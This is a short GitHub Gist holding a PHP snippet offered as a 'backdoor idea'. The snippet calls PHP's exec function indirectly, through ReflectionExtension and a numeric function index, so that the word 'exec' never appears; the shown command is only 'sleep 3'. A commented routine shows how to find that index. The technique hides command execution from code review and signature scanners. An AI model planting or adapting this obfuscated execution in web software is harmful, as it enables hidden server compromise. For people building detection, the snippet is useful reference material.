Last active
October 15, 2022 19:51
-
-
Save cinu/ce3f5208ccfa80ba0956 to your computer and use it in GitHub Desktop.
Simple ReflectionExtension based PHP backdoor idea
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Simple ReflectionExtension based PHP backdoor idea | |
$cmd = 'sleep 3'; | |
$c = new ReflectionExtension('standard'); array_values($c->getFunctions())[0x75]->invokeArgs(array($cmd)); | |
// Info: 0x75 == 117, which is exec function number on current os | |
// Getting function number: | |
/* | |
$extension = 'standard'; | |
$function = 'exec'; | |
$c = new ReflectionExtension($extension); | |
$functions = $c->getFunctions(); | |
$n = 0; | |
foreach($functions as $name => $reflectionFunction) { | |
if ($name == $function ) { | |
echo "Number for $function is $n".PHP_EOL; | |
exit; | |
} | |
$n++; | |
} | |
echo 'Function not found'.PHP_EOL; | |
exit; | |
// Marcin 'redeemer' Probola |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment